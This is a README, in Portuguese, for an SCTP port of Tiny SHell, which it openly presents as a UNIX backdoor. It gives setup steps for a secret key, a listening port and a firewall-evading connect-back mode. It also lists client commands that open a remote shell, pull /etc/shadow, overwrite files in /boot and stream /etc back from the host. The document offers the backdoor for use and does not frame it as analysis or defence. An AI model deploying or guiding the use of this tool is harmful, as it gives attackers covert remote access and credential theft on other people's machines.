
Port do TinySHell para SCTP
Tiny SHell - Um backdoor UNIX de código aberto
* Antes de compilar o Tiny SHell
1. Antes de tudo, você deve configurar sua chave secreta, que
está localizada em tsh.h; a chave pode ter qualquer comprimento (use
pelo menos 12 caracteres para melhor segurança).
2. É aconselhável alterar SERVER_PORT, a porta na qual
o servidor ficará ouvindo conexões de entrada.
3. Você pode querer iniciar o tshd no modo "connect-back" se
ele rodar em uma máquina protegida por firewall; basta descomentar e
modificar CONNECT_BACK_HOST em tsh.h.
* Compilando o Tiny SHell
Execute "make <system>", onde <system> pode ser qualquer um destes:
linux, freebsd, openbsd, netbsd, cygwin, sunos, irix, hpux, osf
* Como usar o servidor
Pode ser útil definir $HOME e a máscara de criação de arquivos
antes de iniciar o servidor:
% umask 077; HOME=/var/tmp ./tshd
* Como usar o cliente
Certifique-se de que o tshd esteja em execução no host remoto. Você pode:
- iniciar um shell:
./tsh <hostname>
- executar um comando:
./tsh <hostname> "uname -a"
- transferir arquivos:
./tsh <hostname> get /etc/shadow .
./tsh <hostname> put vmlinuz /boot
Nota: se o servidor estiver rodando em modo connect-back, substitua
o hostname da máquina remota por "cb".
* Sobre transferências de múltiplos arquivos
No momento, o Tiny SHell não suporta transferências múltiplas
e/ou recursivas de arquivos como scp. Você pode contornar esse bug
simplesmente criando um arquivo tar e transferindo-o. Exemplo:
./tsh host "stty raw; tar -cf - /etc 2>/dev/null" | tar -xvf -
* Sobre modos de terminal
Em alguns sistemas problemáticos (na verdade, IRIX e HP-UX), Ctrl-C
e outras teclas de controle não funcionam corretamente. Corrija com:
% stty intr "^C" erase "^H" eof "^D" susp "^Z" kill "^U"
* Sobre segurança
Lembre-se de que a chave secreta é armazenada em texto claro dentro
dos executáveis tsh e tshd; portanto, certifique-se de que
ninguém além de você tenha acesso de leitura a esses dois arquivos.
No entanto, você pode optar por não armazenar a chave real (válida) no
cliente, que então solicitará uma senha quando iniciar.
* Notas sobre a versão SCTP:
Até agora, testado apenas no Archlinux; espere que ele falhe de forma catastrófica
em qualquer outra coisa.
É um hack bastante feio, tem alguns erros de compilação que pretendo
eventualmente rastrear e corrigir.
A segurança do arquivo backdoor (tsh) - ou seja, a senha estando em
texto claro - será corrigida em breve armazenando apenas uma senha com hash.
Testes em hpux, *bsd, etc. assim que eu tiver acesso a essas máquinas.